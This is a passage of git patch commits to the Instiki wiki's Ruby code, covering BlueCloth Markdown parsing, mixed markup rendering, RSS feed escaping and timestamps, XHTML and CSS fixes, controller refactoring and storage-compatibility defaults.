FormatError::new( @scanner.rest[0,20], + "No %p found before end" % opener ) + + @log.debug "Found close of code span at %d: %p" % + [ @scanner.pos - len, codespan ] + codespan.slice!( -len, len ) + text += "%s" % + encode_code( codespan.strip, rs ) + + # If there's no more backticks, just append the rest of the string + # and move the scan pointer to the end + else + text += @scanner.rest + @scanner.terminate + end + end + + return text + end + + + # Next, handle inline images: ![alt text](url "optional title") + # Don't forget: encode * and _ + InlineImageRegexp = %r{ + ( # Whole match = $1 + !\[ (.*?) \] # alt text = $2 + \([ ]* (\S+) [ ]* # source url = $3 + ( # title = $4 + (["']) # quote char = $5 + .*? + \5 # matching quote + [ ]* + )? # title is optional + \) + ) + }xs #" + + + # Reference-style images + ReferenceImageRegexp = %r{ + ( # Whole match = $1 + !\[ (.*?) \] # Alt text = $2 + [ ]? # Optional space + (?:\n[ ]*)? # One optional newline + spaces + \[ (.*?) \] # id = $3 + ) + }xs + + ### Turn image markup into image tags. + def transform_images( str, rs ) + @log.debug " Transforming images" % str + + # Handle reference-style labeled images: ![alt text][id] + str. + gsub( ReferenceImageRegexp ) {|match| + whole, alt, linkid = $1, $2, $3.downcase + @log.debug "Matched %p" % match + res = nil + + # for shortcut links like ![this][]. + linkid = alt.downcase if linkid.empty? + + if rs.urls.key?( linkid ) + url = escape_md( rs.urls[linkid] ) + @log.debug "Found url '%s' for linkid '%s' " % + [ url, linkid ] + + # Build the tag + result = %{%s}, '>' ). + gsub( CodeEscapeRegexp ) {|match| EscapeTable[match][:md5]} + end + + + + ################################################################# + ### U T I L I T Y F U N C T I O N S + ################################################################# + + ### Escape any markdown characters in a copy of the given +str+ and return + ### it. + def escape_md( str ) + str. + gsub( /\*/, '*' ). + gsub( /_/, '_' ) + end + + + # Matching constructs for tokenizing X/HTML + HTMLCommentRegexp = %r{ }mx + XMLProcInstRegexp = %r{ <\? .*? \?> }mx + MetaTag = Regexp::union( HTMLCommentRegexp, XMLProcInstRegexp ) + + HTMLTagOpenRegexp = %r{ < [a-z/!$] [^<>]* }mx + HTMLTagCloseRegexp = %r{ > }x + HTMLTagPart = Regexp::union( HTMLTagOpenRegexp, HTMLTagCloseRegexp ) + + ### Break the HTML source in +str+ into a series of tokens and return + ### them. The tokens are just 2-element Array tuples with a type and the + ### actual content. If this function is called with a block, the type and + ### text parts of each token will be yielded to it one at a time as they are + ### extracted. + def tokenize_html( str ) + depth = 0 + tokens = [] + @scanner.string = str.dup + type, token = nil, nil + + until @scanner.empty? + @log.debug "Scanning from %p" % @scanner.rest + + # Match comments and PIs without nesting + if (( token = @scanner.scan(MetaTag) )) + type = :tag + + # Do nested matching for HTML tags + elsif (( token = @scanner.scan(HTMLTagOpenRegexp) )) + tagstart = @scanner.pos + @log.debug " Found the start of a plain tag at %d" % tagstart + + # Start the token with the opening angle + depth = 1 + type = :tag + + # Scan the rest of the tag, allowing unlimited nested <>s. If + # the scanner runs out of text before the tag is closed, raise + # an error. + while depth.nonzero? + + # Scan either an opener or a closer + chunk = @scanner.scan( HTMLTagPart ) or + raise "Malformed tag at character %d: %p" % + [ tagstart, token + @scanner.rest ] + + @log.debug " Found another part of the tag at depth %d: %p" % + [ depth, chunk ] + + token += chunk + + # If the last character of the token so far is a closing + # angle bracket, decrement the depth. Otherwise increment + # it for a nested tag. + depth += ( token[-1, 1] == '>' ? -1 : 1 ) + @log.debug " Depth is now #{depth}" + end + + # Match text segments + else + @log.debug " Looking for a chunk of text" + type = :text + + # Scan forward, always matching at least one character to move + # the pointer beyond any non-tag '<'. + token = @scanner.scan_until( /[^<]+/m ) + end + + @log.debug " type: %p, token: %p" % [ type, token ] + + # If a block is given, feed it one token at a time. Add the token to + # the token list to be returned regardless. + if block_given? + yield( type, token ) + end + tokens << [ type, token ] + end + + return tokens + end + + + ### Return a copy of +str+ with angle brackets and ampersands HTML-encoded. + def encode_html( str ) + str.gsub( /&(?!#?[x]?(?:[0-9a-f]+|\w{1,8});)/i, "&" ). + gsub( %r{<(?![a-z/?\$!])}i, "<" ) + end + + + ### Return one level of line-leading tabs or spaces from a copy of +str+ and + ### return it. + def outdent( str ) + str.gsub( /^(\t|[ ]{1,#{TabWidth}})/, '') + end + +end # class BlueCloth + diff --git a/test/unit/revision_test.rb b/test/unit/revision_test.rb index 121ca340..ae6784ef 100755 --- a/test/unit/revision_test.rb +++ b/test/unit/revision_test.rb @@ -71,6 +71,9 @@ class RevisionTest < Test::Unit::TestCase %{

          This is a code block:

          \n\n
          def a_method(arg)\n} +
           	    %{return ThatWay\n
          \n\n

          Nice!

          }, code_block) + end + + def test_mixed_formatting textile_and_markdown = [ 'Markdown heading', @@ -84,6 +87,7 @@ class RevisionTest < Test::Unit::TestCase '* list 2' ].join("\n") + @web.markup = :markdown assert_markup_parsed_as( "

          Markdown heading

          \n\n" + "

          h2. Textile heading

          \n\n" + @@ -91,6 +95,17 @@ class RevisionTest < Test::Unit::TestCase "
            \n
          • list 1
          • \n
          • list 2
          • \n
          ", textile_and_markdown) + @web.markup = :textile + assert_markup_parsed_as( + "

          Markdown heading
          ================

          \n\n\n\t

          Textile heading

          " + + "\n\n\n\t

          some text with styles

          " + + "\n\n\n\t
            \n\t
          • list 1
          • \n\t\t
          • list 2
          • \n\t
          ", + textile_and_markdown) + + @web.markup = :mixed + assert_markup_parsed_as( + "

          Markdown heading

          \n\n\n\t

          Textile heading

          ", + textile_and_markdown) end def test_rdoc From 5c97cc593e7b7de8d09a8bb913392281b869b017 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Sun, 10 Apr 2005 17:57:24 +0000 Subject: [PATCH 237/529] [RESTORES BUILD] RedCloth does not support hard breaks in mixed mode --- app/models/chunks/engines.rb | 4 ++-- test/unit/revision_test.rb | 4 +++- 2 files changed, 5 insertions(+), 3 deletions(-) diff --git a/app/models/chunks/engines.rb b/app/models/chunks/engines.rb index c9bacf96..da8b5ed8 100644 --- a/app/models/chunks/engines.rb +++ b/app/models/chunks/engines.rb @@ -43,7 +43,7 @@ module Engines class Mixed < AbstractEngine def mask - RedCloth.new(@content, [:hard_breaks] + @content.options[:engine_opts]).to_html( + RedCloth.new(@content, @content.options[:engine_opts]).to_html( :textile, :markdown) end end @@ -54,6 +54,6 @@ module Engines end end - MAP = { :textile => Textile, :markdown => Markdown, :mixed => Mixed, :rdoc => RDoc, } + MAP = { :textile => Textile, :markdown => Markdown, :mixed => Mixed, :rdoc => RDoc } MAP.default = Textile end diff --git a/test/unit/revision_test.rb b/test/unit/revision_test.rb index ae6784ef..941161c6 100755 --- a/test/unit/revision_test.rb +++ b/test/unit/revision_test.rb @@ -104,7 +104,9 @@ class RevisionTest < Test::Unit::TestCase @web.markup = :mixed assert_markup_parsed_as( - "

          Markdown heading

          \n\n\n\t

          Textile heading

          ", + "

          Markdown heading

          \n\n\n\t

          Textile heading

          \n\n\n\t" + + "

          some text with styles

          \n\n\n\t" + + "
            \n\t
          • list 1
          • \n\t\t
          • list 2
          • \n\t
          ", textile_and_markdown) end From 25a9cdea1861e67c0156004ffaea9565ce4c3cce Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Thu, 14 Apr 2005 00:14:16 +0000 Subject: [PATCH 238/529] pubDate in RSS feeds is displayed in GT timezone (to work around a problem with showing a timezone in non-English OSes, ticket:92 --- app/views/wiki/rss_feed.rhtml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/app/views/wiki/rss_feed.rhtml b/app/views/wiki/rss_feed.rhtml index dcefd4a0..12ac7073 100644 --- a/app/views/wiki/rss_feed.rhtml +++ b/app/views/wiki/rss_feed.rhtml @@ -12,7 +12,7 @@ <% unless @hide_description %> <%= h page.display_content %> <% end %> - <%= page.created_at.strftime "%a, %e %b %Y %H:%M:%S %Z" %> + <%= page.created_at.getgm.strftime "%a, %e %b %Y %H:%M:%S Z" %> <%= url_for :only_path => false, :web => @web_name, :action => @link_action, :id => page.name %> <%= url_for :only_path => false, :web => @web_name, :action => @link_action, :id => page.name %> <%= WikiWords.separate(page.author) %> From 69c839e70a3c4f329504223ea2611bb13ea124ae Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Tue, 19 Apr 2005 04:17:17 +0000 Subject: [PATCH 239/529] Correct DOCTYPE tag for transitional XHTML (ticket:129) --- app/views/layouts/default.rhtml | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/app/views/layouts/default.rhtml b/app/views/layouts/default.rhtml index 8e1faab9..a596beab 100644 --- a/app/views/layouts/default.rhtml +++ b/app/views/layouts/default.rhtml @@ -1,4 +1,7 @@ - + + From eae03129325abdfe288e1c5649c7a8f13e0abd9c Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky <averkhov@thoughtworks.com> Date: Thu, 28 Apr 2005 05:10:58 +0000 Subject: [PATCH 240/529] Escaping page title in RSS feeds (ticket:143) --- app/views/wiki/rss_feed.rhtml | 2 +- test/functional/wiki_controller_test.rb | 13 +++++++++++++ 2 files changed, 14 insertions(+), 1 deletion(-) diff --git a/app/views/wiki/rss_feed.rhtml b/app/views/wiki/rss_feed.rhtml index 12ac7073..a33131a3 100644 --- a/app/views/wiki/rss_feed.rhtml +++ b/app/views/wiki/rss_feed.rhtml @@ -8,7 +8,7 @@ <ttl>40</ttl> <% for page in @pages_by_revision %> <item> - <title><%= page.plain_name %> + <%= h page.plain_name %> <% unless @hide_description %> <%= h page.display_content %> <% end %> diff --git a/test/functional/wiki_controller_test.rb b/test/functional/wiki_controller_test.rb index 800c324a..1ca3f814 100755 --- a/test/functional/wiki_controller_test.rb +++ b/test/functional/wiki_controller_test.rb @@ -462,6 +462,19 @@ class WikiControllerTest < Test::Unit::TestCase pages = r.template_objects['pages_by_revision'] assert_equal 5, pages.size end + + def test_rss_title_with_ampersand + # was ticket:143 + setup_wiki_with_three_pages + + @wiki.write_page('wiki1', 'Title&With&Ampersands', + 'About spaces', 1.hour.ago, Author.new('NitPicker', '127.0.0.3')) + + r = process 'rss_with_headlines', 'web' => 'wiki1' + + assert r.body.include?('Home Page') + assert r.body.include?('Title&With&Ampersands') + end def test_save r = process 'save', 'web' => 'wiki1', 'id' => 'NewPage', 'content' => 'Contents of a new page', From 396c651487e0ec91a4fd61b0a31f861d5678c65f Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Thu, 28 Apr 2005 05:35:58 +0000 Subject: [PATCH 241/529] XHTML validity fixes from ticket:138 [JosephSHuang] --- app/views/layouts/default.rhtml | 2 - app/views/navigation.rhtml | 8 +-- app/views/wiki/page.rhtml | 2 +- public/stylesheets/instiki.css | 112 ++++++++++++++++---------------- 4 files changed, 61 insertions(+), 63 deletions(-) diff --git a/app/views/layouts/default.rhtml b/app/views/layouts/default.rhtml index a596beab..42202b54 100644 --- a/app/views/layouts/default.rhtml +++ b/app/views/layouts/default.rhtml @@ -1,7 +1,6 @@ - @@ -49,7 +48,6 @@ PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" <body> <div id="Container"> <div id="Content"> - <h1 id="pageName"> <% if @page and (@page.name == 'HomePage') and %w( show published print ).include?(@action_name) %> <%= @web.name %> diff --git a/app/views/navigation.rhtml b/app/views/navigation.rhtml index 66bc1198..90753eb7 100644 --- a/app/views/navigation.rhtml +++ b/app/views/navigation.rhtml @@ -3,7 +3,7 @@ def list_item(text, link_options, description, accesskey = nil) link_options[:controller] = 'wiki' link_options[:web] = @web.address link_to_unless_current(text, link_options, :title => description, :accesskey => accesskey) { - content_tag('b', text, 'title' => description, 'accesskey' => accesskey, 'class' => 'navOn') + content_tag('b', text, 'title' => description, 'class' => 'navOn') } end %> @@ -15,14 +15,14 @@ end <%= list_item 'All Pages', {:action => 'list'}, 'Alphabetically sorted list of pages', 'A' %> | <%= list_item 'Recently Revised', {:action =>'recently_revised'}, 'Pages sorted by when they were last changed', 'U' - %> | + %> | <%= list_item 'Authors', {:action => 'authors'}, 'Who wrote what' %> | <%= list_item 'Feeds', {:action => 'feeds'}, 'Subscribe to changes by RSS' %> | <%= list_item 'Export', {:action => 'export'}, 'Download a zip with all the pages in this wiki', 'X' - %> | + %> | <input type="text" id="searchField" name="query" style="font-size: 10px" value="Search" - onClick="this.value == 'Search' ? this.value = '' : true" /> + onfocus="if (this.value == 'Search' ) this.value = '' " /> <% else %> <%= list_item 'Home Page', {:action => 'published', :id => 'HomePage'}, 'Home, Sweet Home', 'H' %> | <% end%> diff --git a/app/views/wiki/page.rhtml b/app/views/wiki/page.rhtml index 3e46ed23..6226a665 100644 --- a/app/views/wiki/page.rhtml +++ b/app/views/wiki/page.rhtml @@ -98,7 +98,7 @@ <% end %> </div> -<script language="Javascript"> +<script language="Javascript" type="text/Javascript"> function toggleChanges() { if (document.getElementById("changes").style.display == "none") { document.getElementById("changes").style.display = "block"; diff --git a/public/stylesheets/instiki.css b/public/stylesheets/instiki.css index 4b34102e..d76fb133 100644 --- a/public/stylesheets/instiki.css +++ b/public/stylesheets/instiki.css @@ -28,22 +28,22 @@ a { color: #000; } a:visited { color: #666; } a:hover { color: #fff; background-color:#000; } -h1, h2, h3 { color: #333; font-family: georgia, verdana; } +h1, h2, h3 { color: #333; font-family: georgia, verdana, sans-serif; } h1 { font-size: 28px } h2 { font-size: 19px } h3 { font-size: 16px } h1#pageName { - margin: 5px 0px 0px 0px; - padding: 0px 0px 0px 0px; - line-height: 28px; + margin: 5px 0 0; + padding: 0; + line-height: 28px; } h1#pageName small { - color: grey; - line-height: 10px; + color: #444; + line-height: 10px; font-size: 10px; - padding: 0px; + padding: 0; } a.nav, a.nav:link, a.nav:visited { color: #000; } @@ -53,16 +53,16 @@ li { margin-bottom: 7px } .navigation { margin-top: 5px; - font-size : 12px; + font-size : 12px; color: #999; } .navigation a:hover { color: #fff; background-color:#000; } .navigation a { - font-size: 11px; - color: black; - font-weight: bold; + font-size: 11px; + color: black; + font-weight: bold; } .navigation small a { @@ -71,31 +71,31 @@ li { margin-bottom: 7px } } .navOn{ - font-size: 11px; - color: grey; - font-weight: bold; - text-decoration: none; + font-size: 11px; + color: #444; + font-weight: bold; + text-decoration: none; } .help { - font-family: verdana, arial, helvetica, sans-serif; - font-size: 11px; + font-family: verdana, arial, helvetica, sans-serif; + font-size: 11px; } .inputBox { - font-family: verdana, arial, helvetica, sans-serif; - font-size: 11px; + font-family: verdana, arial, helvetica, sans-serif; + font-size: 11px; background-color: #eee; padding: 5px; margin-bottom: 20px; } blockquote { - display: block; - margin: 0px 0px 20px 0px; - padding: 0px 30px; - font-size:11px; - line-height:17px; + display: block; + margin: 0px 0px 20px 0px; + padding: 0px 30px; + font-size:11px; + line-height:17px; font-style: italic; } @@ -107,7 +107,7 @@ pre { ol.setup { font-size: 19px; - font-family: georgia, verdana; + font-family: georgia, verdana, sans-serif; padding-left: 25px; } @@ -131,7 +131,7 @@ ol.setup li { } .diffins, ins.diffmod { - background: lightgreen; + background: lightgreen; } #footer { @@ -149,74 +149,74 @@ ol.setup li { } #error { - color: darkred; + color: #8b0000; font-style: italic; width: 600px; } #info { - color: darkgreen; + color: #006400; font-style: italic; width: 600px; } #TextileHelp table { - margin-bottom: 0; + margin-bottom: 0; } #TextileHelp table+h3 { - margin-top: 11px; + margin-top: 11px; } #TextileHelp table td { - font-size: 11px; - padding: 3px; - vertical-align: top; - border-top: 1px dotted #ccc; + font-size: 11px; + padding: 3px; + vertical-align: top; + border-top: 1px dotted #ccc; } #TextileHelp table td.arrow { - padding-right: 5px; - padding-left: 10px; - color: #999; + padding-right: 5px; + padding-left: 10px; + color: #999; } #TextileHelp table td.label { - font-weight: bold; - white-space: nowrap; - font-size: 10px; - padding-right: 15px; - color: #000; + font-weight: bold; + white-space: nowrap; + font-size: 10px; + padding-right: 15px; + color: #000; } #TextileHelp h3 { - font-size: 11px; - font-weight: bold; - font-weight: normal; - margin: 0 0 5px 0; - padding: 5px 0 0 0; + font-size: 11px; + font-weight: bold; + font-weight: normal; + margin: 0 0 5px 0; + padding: 5px 0 0 0; } #TextileHelp p { - font-size: 10px; + font-size: 10px; } .rightHandSide { - float: right; - width: 147px; - margin-left: 10px; - padding-left: 20px; - border-left: 1px dotted #ccc; + float: right; + width: 147px; + margin-left: 10px; + padding-left: 20px; + border-left: 1px dotted #ccc; } .rightHandSide p { - font-size: 10px; + font-size: 10px; } .newsList { - margin-top: 20px; + margin-top: 20px; } .newsList p { margin-bottom:30px -} \ No newline at end of file +} From 24f418e5b569a0ca0d0f6ab5a5962329b9a94abb Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky <averkhov@thoughtworks.com> Date: Thu, 28 Apr 2005 23:07:42 +0000 Subject: [PATCH 242/529] Renamed redirect_show to redirect_to_page and redirect_home --- app/controllers/admin_controller.rb | 4 ++-- app/controllers/application.rb | 6 +++++- app/controllers/wiki_controller.rb | 14 +++++++------- 3 files changed, 14 insertions(+), 10 deletions(-) diff --git a/app/controllers/admin_controller.rb b/app/controllers/admin_controller.rb index 0aaa9486..c7ca2216 100644 --- a/app/controllers/admin_controller.rb +++ b/app/controllers/admin_controller.rb @@ -11,7 +11,7 @@ class AdminController < ApplicationController this directory if you want to recreate it from scratch.<br/><br/> (WARNING: this will destroy content of your current wiki). EOL - redirect_show('HomePage', @wiki.webs.keys.first) + redirect_home(@wiki.webs.keys.first) elsif @params['web_name'] # form submitted -> create a wiki @wiki.setup(@params['password'], @params['web_name'], @params['web_address']) @@ -66,7 +66,7 @@ class AdminController < ApplicationController @params['max_upload_size'] ) flash[:info] = "Web '#{@params['address']}' was successfully updated" - redirect_show('HomePage', @params['address']) + redirect_home(@params['address']) rescue Instiki::ValidationError => e flash[:error] = e.message # and re-render the same template again diff --git a/app/controllers/application.rb b/app/controllers/application.rb index c49b276d..fb0da1db 100644 --- a/app/controllers/application.rb +++ b/app/controllers/application.rb @@ -87,7 +87,11 @@ class ApplicationController < ActionController::Base end end - def redirect_show(page_name = @page_name, web = @web_name) + def redirect_home(web = @web_name) + redirect_to_page('HomePage', web) + end + + def redirect_to_page(page_name = @page_name, web = @web_name) redirect_to :web => web, :controller => 'wiki', :action => 'show', :id => (page_name || 'HomePage') end diff --git a/app/controllers/wiki_controller.rb b/app/controllers/wiki_controller.rb index 12f12d02..7f90369e 100644 --- a/app/controllers/wiki_controller.rb +++ b/app/controllers/wiki_controller.rb @@ -9,11 +9,11 @@ class WikiController < ApplicationController def index if @web_name - redirect_show 'HomePage' + redirect_home elsif not @wiki.setup? redirect_to :controller => 'admin', :action => 'create_system' elsif @wiki.webs.length == 1 - redirect_show 'HomePage', @wiki.webs.values.first.address + redirect_home @wiki.webs.values.first.address else redirect_to :action => 'web_list' end @@ -23,7 +23,7 @@ class WikiController < ApplicationController def authenticate if password_check(@params['password']) - redirect_show('HomePage') + redirect_home else flash[:info] = password_error(@params['password']) redirect_to :action => 'login', :web => @web_name @@ -109,7 +109,7 @@ class WikiController < ApplicationController @results = @web.select { |page| page.content =~ /#{@query}/i }.sort all_pages_found = (@results + @title_results).uniq if all_pages_found.size == 1 - redirect_show(all_pages_found.first.name) + redirect_to_page(all_pages_found.first.name) end end @@ -117,7 +117,7 @@ class WikiController < ApplicationController def cancel_edit @page.unlock - redirect_show + redirect_to_page(@page_name) end def edit @@ -159,7 +159,7 @@ class WikiController < ApplicationController if @web.published @page = wiki.read_page(@web_name, @page_name || 'HomePage') else - redirect_show('HomePage') + redirect_home end end @@ -189,7 +189,7 @@ class WikiController < ApplicationController Author.new(@params['author'], remote_ip) ) end - redirect_show(@page_name) + redirect_to_page @page_name rescue Instiki::ValidationError => e page.unlock if defined? page flash[:error] = e From e6624b92d3344e4e9c609a0ff6895db0fa47d104 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky <averkhov@thoughtworks.com> Date: Thu, 28 Apr 2005 23:43:52 +0000 Subject: [PATCH 243/529] Removed a duplicate test --- test/functional/wiki_controller_test.rb | 16 ---------------- 1 file changed, 16 deletions(-) diff --git a/test/functional/wiki_controller_test.rb b/test/functional/wiki_controller_test.rb index 1ca3f814..2ee95cff 100755 --- a/test/functional/wiki_controller_test.rb +++ b/test/functional/wiki_controller_test.rb @@ -503,22 +503,6 @@ class WikiControllerTest < Test::Unit::TestCase assert !home_page.locked?(Time.now) end - def test_save_new_revision_of_existing_page - @home.lock(Time.now, 'Batman') - - r = process 'save', 'web' => 'wiki1', 'id' => 'HomePage', 'content' => 'Revised HomePage', - 'author' => 'Batman' - - assert_redirected_to :web => 'wiki1', :action => 'show', :id => 'HomePage' - assert_equal ['Batman'], r.cookies['author'].value - home_page = @wiki.read_page('wiki1', 'HomePage') - assert_equal [home_page], @web.pages.values - assert_equal 2, home_page.revisions.size - assert_equal 'Revised HomePage', home_page.content - assert_equal 'Batman', home_page.author - assert !home_page.locked?(Time.now) - end - def test_save_new_revision_identical_to_last revisions_before = @home.revisions.size @home.lock(Time.now, 'AnAuthor') From bb1425c6f76e883bf67c03c0aa368e654fa89786 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky <averkhov@thoughtworks.com> Date: Thu, 28 Apr 2005 23:52:44 +0000 Subject: [PATCH 244/529] Fixed a silly error in pubDate generation (RSS feed) --- app/views/wiki/rss_feed.rhtml | 2 +- test/functional/wiki_controller_test.rb | 11 +++++++++++ 2 files changed, 12 insertions(+), 1 deletion(-) diff --git a/app/views/wiki/rss_feed.rhtml b/app/views/wiki/rss_feed.rhtml index a33131a3..a0267ff4 100644 --- a/app/views/wiki/rss_feed.rhtml +++ b/app/views/wiki/rss_feed.rhtml @@ -12,7 +12,7 @@ <% unless @hide_description %> <description><%= h page.display_content %></description> <% end %> - <pubDate><%= page.created_at.getgm.strftime "%a, %e %b %Y %H:%M:%S Z" %></pubDate> + <pubDate><%= page.created_at.getgm.strftime "%a, %d %b %Y %H:%M:%S Z" %></pubDate> <guid><%= url_for :only_path => false, :web => @web_name, :action => @link_action, :id => page.name %></guid> <link><%= url_for :only_path => false, :web => @web_name, :action => @link_action, :id => page.name %></link> <dc:creator><%= WikiWords.separate(page.author) %></dc:creator> diff --git a/test/functional/wiki_controller_test.rb b/test/functional/wiki_controller_test.rb index 2ee95cff..8e5bb847 100755 --- a/test/functional/wiki_controller_test.rb +++ b/test/functional/wiki_controller_test.rb @@ -475,6 +475,17 @@ class WikiControllerTest < Test::Unit::TestCase assert r.body.include?('<title>Home Page') assert r.body.include?('Title&With&Ampersands') end + + def test_rss_timestamp + setup_wiki_with_three_pages + + new_page = @wiki.write_page('wiki1', 'PageCreatedAtTheBeginningOfCtime', + 'Created on 1 Jan 1970 at 0:00:00 Z', Time.at(0), Author.new('NitPicker', '127.0.0.3')) + + r = process 'rss_with_headlines', 'web' => 'wiki1' + + assert_template_xpath_match '/rss/channel/item/pubDate[4]', "Thu, 01 Jan 1970 00:00:00 Z" + end def test_save r = process 'save', 'web' => 'wiki1', 'id' => 'NewPage', 'content' => 'Contents of a new page', From 598e4f272dc9451ff7497a5798c781a32041b9fa Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Sun, 1 May 2005 02:47:57 +0000 Subject: [PATCH 245/529] Mixed mode that doesn't break on images --- app/models/chunks/engines.rb | 6 ++++-- test/unit/revision_test.rb | 6 ++++++ 2 files changed, 10 insertions(+), 2 deletions(-) diff --git a/app/models/chunks/engines.rb b/app/models/chunks/engines.rb index da8b5ed8..fe5a96a8 100644 --- a/app/models/chunks/engines.rb +++ b/app/models/chunks/engines.rb @@ -43,8 +43,10 @@ module Engines class Mixed < AbstractEngine def mask - RedCloth.new(@content, @content.options[:engine_opts]).to_html( - :textile, :markdown) + redcloth = RedCloth.new(@content, @content.options[:engine_opts]) + redcloth.filter_html = false + redcloth.no_span_caps = false + redcloth.to_html end end diff --git a/test/unit/revision_test.rb b/test/unit/revision_test.rb index 941161c6..44252a87 100755 --- a/test/unit/revision_test.rb +++ b/test/unit/revision_test.rb @@ -302,6 +302,12 @@ class RevisionTest < Test::Unit::TestCase list_with_tildas) end + def test_textile_image_in_mixed_wiki + @web.markup = :mixed + assert_markup_parsed_as( + "

          \"\"\nss

          ", + "!http://google.com!\r\nss") + end def assert_markup_parsed_as(expected_output, input) From bd224623e83a85a7fdc2916d3fa44e6358b847c9 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Sun, 1 May 2005 03:16:31 +0000 Subject: [PATCH 246/529] Upgraded Rails version to 0.12.0 From e20e5299608f4bbea9baf3f3af1abd00349c2e55 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Sun, 1 May 2005 03:24:06 +0000 Subject: [PATCH 247/529] Corrected a typo in a comment --- app/models/wiki_service.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/app/models/wiki_service.rb b/app/models/wiki_service.rb index 8cf54644..68ae4ff6 100644 --- a/app/models/wiki_service.rb +++ b/app/models/wiki_service.rb @@ -128,7 +128,7 @@ class WikiService include Madeleine::Automatic::Interceptor # These methods do not change the state of persistent objects, and - # should not be ogged by Madeleine + # should not be logged by Madeleine automatic_read_only :authenticate, :read_page, :setup?, :webs, :storage_path, :file_yard @@storage_path = './storage/' From ee396a3237c3722aafece6322b05b1d92a803179 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Mon, 2 May 2005 00:51:37 +0000 Subject: [PATCH 248/529] Fixed HTML export to work with current Rails (the implementation uses some non-public Rails methods, and since some point Rails 'forgot' to use layout in there) --- CHANGELOG | 9 +++++++-- app/controllers/wiki_controller.rb | 10 +++++----- 2 files changed, 12 insertions(+), 7 deletions(-) diff --git a/CHANGELOG b/CHANGELOG index 2b5c962d..f39bcf35 100755 --- a/CHANGELOG +++ b/CHANGELOG @@ -1,7 +1,12 @@ - * SVN trunk: - Handling of line breaks in Textile is as in 0.9 (inserts
          tag). + * 0.10.1: + Upgraded Rails to 0.12.0 Upgraded rubyzip to version 0.5.8 BlueCloth is back (RedCloth didn't do pure Markdown well enough to replace it yet) + Handling of line breaks in Textile is as in 0.9 (inserts
          tag) + Fixed HTML export (to enclose the output in tags, include the stylesheet etc) + + Some other bug fixes + * 0.10.0: Ported to ActionPack RedCloth 3.0.3 diff --git a/app/controllers/wiki_controller.rb b/app/controllers/wiki_controller.rb index 7f90369e..01d5780d 100644 --- a/app/controllers/wiki_controller.rb +++ b/app/controllers/wiki_controller.rb @@ -49,7 +49,7 @@ class WikiController < ApplicationController export_pages_as_zip('html') do |page| @page = page @link_mode = :export - render_to_string 'wiki/print' + render_to_string('wiki/print', use_layout = true) end end @@ -336,11 +336,11 @@ class WikiController < ApplicationController end end - def render_to_string(template_name) + def render_to_string(template_name, with_layout = false) add_variables_to_assigns - render template_name - @performed_render = false - @template.render_file(template_name) + @content_for_layout = @template.render_file(template_name) + if with_layout then @template.render_file('layouts/default'); + else @content_for_layout; end end def rss_with_content_allowed? From c0e5673cc50e912cf6997c4f8109014f408cf233 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Mon, 2 May 2005 01:43:44 +0000 Subject: [PATCH 249/529] Fixed an incompatibility with old storages; ticket:133 --- CHANGELOG | 3 +-- app/models/web.rb | 46 ++++++++++++++++++++++++++-------------------- 2 files changed, 27 insertions(+), 22 deletions(-) diff --git a/CHANGELOG b/CHANGELOG index f39bcf35..f4d2f867 100755 --- a/CHANGELOG +++ b/CHANGELOG @@ -1,10 +1,9 @@ * 0.10.1: Upgraded Rails to 0.12.0 Upgraded rubyzip to version 0.5.8 - BlueCloth is back (RedCloth didn't do pure Markdown well enough to replace it yet) + BlueCloth is back (RedCloth didn't do pure Markdown well enough) Handling of line breaks in Textile is as in 0.9 (inserts
          tag) Fixed HTML export (to enclose the output in tags, include the stylesheet etc) - Some other bug fixes * 0.10.0: diff --git a/app/models/web.rb b/app/models/web.rb index b510f298..16c902bc 100644 --- a/app/models/web.rb +++ b/app/models/web.rb @@ -5,30 +5,45 @@ require 'wiki_words' require 'zip/zip' class Web - attr_accessor :name, :password, :markup, :color, :safe_mode, :pages - attr_accessor :additional_style, :published, :brackets_only, :count_pages, :allow_uploads - attr_accessor :max_upload_size - + attr_accessor :name, :password, :safe_mode, :pages + attr_accessor :additional_style, :allow_uploads, :published attr_reader :address + # there are getters for all these attributes, too + attr_writer :markup, :color, :brackets_only, :count_pages, :max_upload_size + def initialize(parent_wiki, name, address, password = nil) self.address = address @wiki, @name, @password = parent_wiki, name, password - # default values - @markup = :textile - @color = '008B26' - @safe_mode = false + set_compatible_defaults + @pages = {} @allow_uploads = true @additional_style = nil @published = false - @brackets_only = false @count_pages = false @allow_uploads = true - @max_upload_size = 100 end + # Explicitly sets value of some web attributes to defaults, unless they are already set + def set_compatible_defaults + @markup = markup() + @color = color() + @safe_mode = safe_mode() + @brackets_only = brackets_only() + @max_upload_size = max_upload_size() + @wiki = wiki + end + # All below getters know their default values. This is necessary to ensure compatibility with + # 0.9 storages, where they were not defined. + def brackets_only() @brackets_only || false end + def color() @color ||= '008B26' end + def count_pages() @count_pages || false end + def markup() @markup ||= :textile end + def max_upload_size() @max_upload_size || 100; end + def wiki() @wiki ||= WikiService.instance; end + def add_page(page) @pages[page.name] = page end @@ -40,7 +55,7 @@ class Web @address = the_address end - def authors + def authors select.authors end @@ -129,10 +144,6 @@ class Web end end - def max_upload_size - @max_upload_size || 100 - end - # Clears the display cache for all the pages with references to def refresh_pages_with_references(page_name) select.pages_that_reference(page_name).each { |page| @@ -156,11 +167,6 @@ class Web PageSet.new(self, @pages.values, condition) end - # This ensures compatibility with 0.9 storages - def wiki - @wiki ||= WikiService.instance - end - private # Returns an array of all the wiki words in any current revision From d3fc0c40a29f8ab9d6cb6a05ceb23aead3080c3d Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Mon, 2 May 2005 